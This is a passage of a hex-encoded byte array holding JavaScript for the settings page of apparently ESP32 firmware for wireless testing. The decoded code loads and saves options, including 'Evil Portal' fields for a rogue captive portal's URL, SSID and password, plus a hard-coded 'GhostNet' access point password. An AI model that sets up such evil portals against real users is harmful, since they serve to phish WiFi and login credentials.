0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, + 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, + 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x27, 0x29, + 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, + 0x61, 0x2E, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x70, 0x61, 0x73, + 0x73, 0x77, 0x6F, 0x72, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, + 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, + 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, + 0x61, 0x70, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, + 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, + 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x61, 0x70, 0x5F, 0x73, 0x73, 0x69, + 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, + 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, + 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x64, 0x6F, 0x6D, 0x61, + 0x69, 0x6E, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, + 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, + 0x5F, 0x64, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, + 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, + 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x5F, 0x6F, 0x66, 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x5F, 0x6D, 0x6F, + 0x64, 0x65, 0x27, 0x29, 0x2E, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x65, 0x64, + 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x6F, 0x72, 0x74, + 0x61, 0x6C, 0x5F, 0x6F, 0x66, 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x5F, 0x6D, + 0x6F, 0x64, 0x65, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x50, 0x6F, 0x77, 0x65, 0x72, + 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, + 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, + 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, + 0x69, 0x70, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, + 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, + 0x72, 0x5F, 0x69, 0x70, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, + 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, + 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, + 0x74, 0x65, 0x78, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x72, 0x69, 0x6E, + 0x74, 0x65, 0x72, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, + 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, + 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, + 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, + 0x65, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, + 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, + 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, 0x65, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, + 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, + 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, + 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, + 0x65, 0x6E, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, + 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x72, 0x69, 0x6E, 0x74, + 0x65, 0x72, 0x5F, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, + 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x46, 0x6C, 0x61, 0x70, 0x70, 0x79, + 0x20, 0x47, 0x68, 0x6F, 0x73, 0x74, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, + 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, + 0x28, 0x27, 0x66, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x5F, 0x6E, 0x61, 0x6D, + 0x65, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, + 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x66, 0x6C, + 0x61, 0x70, 0x70, 0x79, 0x5F, 0x67, 0x68, 0x6F, 0x73, 0x74, 0x5F, 0x6E, + 0x61, 0x6D, 0x65, 0x20, 0x7C, 0x7C, 0x20, 0x27, 0x27, 0x3B, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, + 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, + 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x61, + 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x5F, + 0x68, 0x65, 0x78, 0x27, 0x29, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, + 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, + 0x2E, 0x68, 0x65, 0x78, 0x5F, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, + 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, + 0x79, 0x49, 0x64, 0x28, 0x27, 0x74, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, + 0x65, 0x5F, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x27, 0x29, 0x2E, 0x76, + 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, + 0x74, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x73, 0x74, 0x72, + 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x69, 0x66, 0x20, 0x28, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x73, 0x74, + 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x69, 0x70, 0x29, 0x20, 0x7B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, + 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, + 0x28, 0x27, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x69, 0x70, + 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, + 0x61, 0x74, 0x61, 0x2E, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x5F, + 0x69, 0x70, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, + 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, + 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, + 0x73, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x69, 0x70, 0x27, 0x29, + 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x27, 0x4E, 0x6F, + 0x74, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x65, 0x64, 0x27, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x2F, 0x2F, 0x20, 0x44, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x20, 0x74, + 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, + 0x6E, 0x67, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, + 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, + 0x27, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x5F, 0x74, 0x69, 0x6D, + 0x65, 0x6F, 0x75, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x64, 0x69, 0x73, 0x70, + 0x6C, 0x61, 0x79, 0x5F, 0x74, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x20, + 0x7C, 0x7C, 0x20, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4C, 0x54, 0x5F, 0x44, + 0x49, 0x53, 0x50, 0x4C, 0x41, 0x59, 0x5F, 0x54, 0x49, 0x4D, 0x45, 0x4F, + 0x55, 0x54, 0x5F, 0x4D, 0x53, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, 0x61, 0x74, + 0x63, 0x68, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x3E, 0x20, + 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2E, 0x65, 0x72, 0x72, 0x6F, + 0x72, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x66, 0x65, 0x74, + 0x63, 0x68, 0x69, 0x6E, 0x67, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, + 0x67, 0x73, 0x3A, 0x27, 0x2C, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x29, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2F, 0x2F, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, + 0x20, 0x74, 0x6F, 0x20, 0x73, 0x61, 0x76, 0x65, 0x20, 0x73, 0x65, 0x74, + 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, + 0x20, 0x45, 0x53, 0x50, 0x33, 0x32, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, + 0x20, 0x73, 0x61, 0x76, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, + 0x73, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, + 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x3D, 0x20, + 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x57, 0x69, + 0x46, 0x69, 0x2F, 0x42, 0x4C, 0x45, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x72, 0x6F, + 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, + 0x3A, 0x20, 0x70, 0x61, 0x72, 0x73, 0x65, 0x49, 0x6E, 0x74, 0x28, 0x64, + 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, + 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, + 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x5F, 0x73, 0x70, + 0x65, 0x65, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x29, + 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x70, 0x5F, 0x73, 0x73, + 0x69, 0x64, 0x3A, 0x20, 0x22, 0x47, 0x68, 0x6F, 0x73, 0x74, 0x4E, 0x65, + 0x74, 0x22, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x70, 0x5F, + 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x3A, 0x20, 0x22, 0x47, + 0x68, 0x6F, 0x73, 0x74, 0x4E, 0x65, 0x74, 0x22, 0x2C, 0x0D, 0x0A, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x52, 0x47, 0x42, 0x20, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x72, 0x61, 0x69, 0x6E, 0x62, 0x6F, 0x77, 0x5F, 0x6D, 0x6F, + 0x64, 0x65, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, + 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, + 0x79, 0x49, 0x64, 0x28, 0x27, 0x72, 0x61, 0x69, 0x6E, 0x62, 0x6F, 0x77, + 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x27, 0x29, 0x2E, 0x63, 0x68, 0x65, 0x63, + 0x6B, 0x65, 0x64, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x67, + 0x62, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x3A, 0x20, 0x70, 0x61, 0x72, + 0x73, 0x65, 0x49, 0x6E, 0x74, 0x28, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, + 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, + 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x72, 0x67, 0x62, 0x5F, 0x73, + 0x70, 0x65, 0x65, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x29, 0x2C, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, + 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, + 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x75, 0x72, + 0x6C, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, + 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, + 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x75, + 0x72, 0x6C, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2C, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, + 0x73, 0x73, 0x69, 0x64, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, + 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, + 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, + 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x72, + 0x74, 0x61, 0x6C, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, + 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, + 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, + 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x70, 0x61, + 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, + 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x72, + 0x74, 0x61, 0x6C, 0x5F, 0x61, 0x70, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x3A, + 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, + 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, + 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x61, 0x70, 0x5F, + 0x73, 0x73, 0x69, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x5F, 0x64, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x3A, 0x20, 0x64, 0x6F, + 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, + 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, + 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x64, 0x6F, 0x6D, 0x61, 0x69, 0x6E, + 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x6F, 0x66, + 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x3A, 0x20, + 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, + 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, + 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x6F, 0x66, 0x66, 0x6C, + 0x69, 0x6E, 0x65, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x27, 0x29, 0x2E, 0x63, + 0x68, 0x65, 0x63, 0x6B, 0x65, 0x64, 0x2C, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x50, 0x6F, 0x77, 0x65, 0x72, 0x20, + 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6E, 0x67, 0x73, 